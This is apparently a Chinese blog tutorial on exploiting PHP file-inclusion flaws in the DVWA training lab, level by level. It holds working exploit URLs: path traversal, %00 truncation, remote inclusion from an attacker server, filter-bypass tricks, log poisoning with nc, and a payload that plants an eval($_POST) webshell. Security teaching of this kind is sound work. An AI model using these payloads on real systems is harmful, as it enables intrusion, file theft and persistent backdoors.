文件包含漏洞

最新推荐文章于 2024-09-16 07:00:00 发布

洁洁儿

最新推荐文章于 2024-09-16 07:00:00 发布

阅读量403

点赞数

分类专栏：安全文章标签：代码审计

安全专栏收录该内容

4 篇文章 0 订阅

订阅专栏

概述

PHP文件包含漏洞，就是通过函数包含文件时，由于对包含的文件名进行有效的过滤处理，被攻击者利用从而导致包含了web根目录以外的文件进来，就会导致文件信息的泄露甚至注入了恶意代码。

【基本原理】
File Inclusion，意思是文件包含（漏洞），是指当服务器开启allow_url_include选项时，就可以通过php的某些特性函数（include()，require()和include_once()，require_once()）利用url去动态包含文件，此时如果没有对文件来源进行严格审查，就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞，远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项（选项开启之后，服务器允许包含一个远程的文件）

接下来进入DVWA平台：http://127.0.0.1:8088/DVWA/index.php ，准备开始实验。

在这里插入图片描述
安全级别下,查看后台源码：

<php
//Thepagewewishtodisplay
$file=$_GET['page'];
>

可以看到，服务器端对page参数没有做任何的过滤跟检查。

服务器期望用户的操作是点击下面的三个链接，服务器会包含相应的文件，并将结果返回。需要特别说明的是，服务器包含文件时，不管文件后缀是否是php，都会尝试当做php文件执行，如果文件内容确为php，则会正常执行并返回结果，如果不是，则会原封不动地打印文件内容，所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

点击file1.php后，显示如下
在这里插入图片描述
而现实中，恶意的攻击者是不会乖乖点击这些链接的，因此page参数是不可控的。

【漏洞利用】
1.本地文件包含

构造url

http://192.168.153.130/dvwa/vulnerabilities/fi/page=/etc/shadow

在这里插入图片描述
报错，显示没有这个文件，说明不是服务器系统不是Linux，但同时暴露了服务器文件的绝对路径C:\xampp\htdocs。

构造url（绝对路径）

http://192.168.153.130/dvwa/vulnerabilities/fi/page=C:\xampp\htdocs\dvwa\php.ini

成功读取了服务器的php.ini文件
在这里插入图片描述
构造url（相对路径）

http://192.168.153.130/dvwa/vulnerabilities/fi/page=..\..\..\..\..\..\..\..\..\xampp\htdocs\dvwa\php.ini

加这么多…\是为了保证到达服务器的C盘根目录，可以看到读取是成功的。
在这里插入图片描述
同时我们看到，配置文件中的Magic_quote_gpc选项为off。在php版本小于5.3.4的服务器中，当Magic_quote_gpc选项为off时，我们可以在文件名中使用%00进行截断，也就是说文件名中%00后的内容不会被识别，即下面两个url是完全等效的。

A)http://192.168.153.130/dvwa/vulnerabilities/fi/page=..\..\..\..\..\..\..\..\..\xampp\htdocs\dvwa\php.ini

B)http://192.168.153.130/dvwa/vulnerabilities/fi/page=..\..\..\..\..\..\..\..\..\xampp\htdocs\dvwa\php.ini%0012.php

使用%00截断可以绕过某些过滤规则，例如要求page参数的后缀必须为php，这时链接A会读取失败，而链接B可以绕过规则成功读取。

2、远程文件包含
当服务器的php配置中，选项allow_url_fopen与allow_url_include为开启状态时，服务器会允许包含远程服务器上的文件，如果对文件来源没有检查的话，就容易导致任意远程代码执行。

在远程服务器192.168.5.12上传一个phpinfo.txt文件，内容如下
在这里插入图片描述
构造url

http://192.168.153.130/dvwa/vulnerabilities/fi/page=http://192.168.5.12/phpinfo.txt

成功在服务器上执行了phpinfo函数
在这里插入图片描述
为了增加隐蔽性，可以对http://192.168.5.12/phpinfo.txt进行编码
同样可以执行成功

http://192.168.153.130/dvwa/vulnerabilities/fi/page=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%35%2e%31%32%2f%70%68%70%69%6e%66%6f%2e%74%78%74

Medium 安全级别

<php

//Thepagewewishtodisplay
$file=$_GET['page'];

//Inputvalidation
$file=str_replace(array("http://","https://"),"",$file);
$file=str_replace(array("../","..\""),"",$file);

>

可以看到，Medium级别的代码增加了str_replace函数，对page参数进行了一定的处理，将”http:// ”、”https://”、 ” …/”、”…\”替换为空字符，即删除。

【漏洞利用】
使用str_replace函数是极其不安全的，因为可以使用双写绕过替换规则。

例如page=hthttp://tp://192.168.5.12/phpinfo.txt时，str_replace函数会将http://删除，于是page=http://192.168.5.12/phpinfo.txt，成功执行远程命令。

同时，因为替换的只是“…/”、“…\”，所以对采用绝对路径的方式包含文件是不会受到任何限制的。

1.本地文件包含

http://192.168.153.130/dvwa/vulnerabilities/fi/page=…/./…/./…/./…/./…/./…/./…/./…/./…/./…/./xampp/htdocs/dvwa/php.ini

在这里插入图片描述

http://192.168.153.130/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini

绝对路径不受任何影响，读取成功
2、远程文件包含

http://192.168.153.130/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.5.12/phpinfo.txt

在这里插入图片描述

http://192.168.153.130/dvwa/vulnerabilities/fi/page=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%35%2e%31%32%2f%70%68%70%69%6e%66%6f%2e%74%78%74

经过编码后的url不能绕过替换规则，因为解码是在浏览器端完成的，发送过去的page参数依然是http://192.168.5.12/phpinfo.txt，因此读取失败。

在这里插入图片描述

High 安全等级

 <php

//Thepagewewishtodisplay
$file=$_GET['page'];

//Inputvalidation
if(!fnmatch("file*",$file)&&$file!="include.php"){
   //Thisisn'tthepagewewant!
echo"ERROR:Filenotfound!";
exit;
}

>

可以看到，High级别的代码使用了fnmatch函数检查page参数，要求page参数的开头必须是file，服务器才会去包含相应的文件。
【漏洞利用】
High级别的代码规定只能包含file开头的文件，看似安全，不幸的是我们依然可以利用file协议绕过防护策略。file协议其实我们并不陌生，当我们用浏览器打开一个本地文件时，用的就是file协议，如下图。
>【备注】以下为CMD下用copy命令制作“图片木马”的步骤，其中，alone.jpg/b中“b”表示“二进制文件”，Hack.php/a中“a"表示ASCII码文件。
构造url

http://192.168.153.130/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini

在这里插入图片描述
成功读取了服务器的配置文件
至于执行任意命令，需要配合文件上传漏洞利用。首先需要上传一个内容为php的文件，然后再利用file协议去包含上传文件（需要知道上传文件的绝对路径），从而实现任意命令执行。

Impossible 安全级别

<php
//Thepagewewishtodisplay
$file=$_GET['page'];

//Onlyallowinclude.phporfile{1..3}.php
if($file!="include.php"&&$file!="file1.php"&&$file!="file2.php"&&$file!="file3.php"){
//Thisisn'tthepagewewant!
echo"ERROR:Filenotfound!";
exit;
}

可以看到，Impossible级别的代码使用了白名单机制进行防护，简单粗暴，page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一，彻底杜绝了文件包含漏洞。

利用

1、读取敏感文件：
如直接…/…/…/…/…/etc/passwd来读取本地文件内容，其他敏感文件的读取是类似的，前提是知道路径。
2、包含Apache日志文件：
可以用nc向目标服务器发送一条内容为一句话木马的错误的指令，让其保存在目标服务器的access.log日志文件中，再通过本地文件包含的方式实现利用。但是测试时没有成功，因为MySQL用户权限不足，不能读取Apache的日志，这时需要提权操作。
在这里插入图片描述
接着以向日志文件写入phpinfo为示例，注意一点是，不能直接在URL栏填写，因为一些字符会被URL编码而不能达到目的，要使用Burpsuite截断代理修改数据包来进行：

在这里插入图片描述
然后到Metasploitable2的Apache2的access.log文件中查看：

最后直接包含该access.log文件即可：

3、远程包含shell：
以Medium级为背景，在一台攻击者的服务器如Kali的/var/www/html/目录中放入一句话木马文件，在Kali中通过以下命令启动Apache：

service apache2 start
然后在访问DVWA中利用远程文件包含漏洞访问Kali中的木马文件，从而实现利用。

这里注意的是，这个木马文件的内容不能为形如<?php echo shell_exec($_GET['cmd']);?>这种，因为这样只会在该木马文件存放的服务器服务器上执行而不是在目标服务器上执行，如下示例，a.php文件内容如上，但是返回的内容确实Windows服务器的而不是目标主机Metasploitable2的：
在这里插入图片描述
因而正确的姿势应该是，该木马文件实现将木马内容写入目标服务器中的1.txt文件，如：

<?php fputs(fopen("shell.php","w"), "<?php eval(\$_POST[aaa]);?>");?>

访问：
在这里插入图片描述
没有啥情况，接着到DVWA服务器查看吧：

存在后门PHP文件，没有问题。

这里示例以phpinfo测试：
在这里插入图片描述
4、配合文件上传漏洞：
和文件上传漏洞或者SQL注入漏洞等一同利用，通过利用前面的漏洞将一句话木马1.php文件上传到Web服务器中，然后再通过文件包含漏洞包含出现从而得到shell。

例如上传了一个名为1.txt的文件，内容为：<?php phpinfo();?>

直接包含该文件会将该文件以PHP来运行：
在这里插入图片描述
5、使用PHP封装协议读取文件和写入PHP文件：
1、读取文件：
先看看读取文件，如输入page参数值为：php://filter/read=convert.base64-encode/resource=…/…/…/…/…/var/www/dvwa/hackable/uploads/1.txt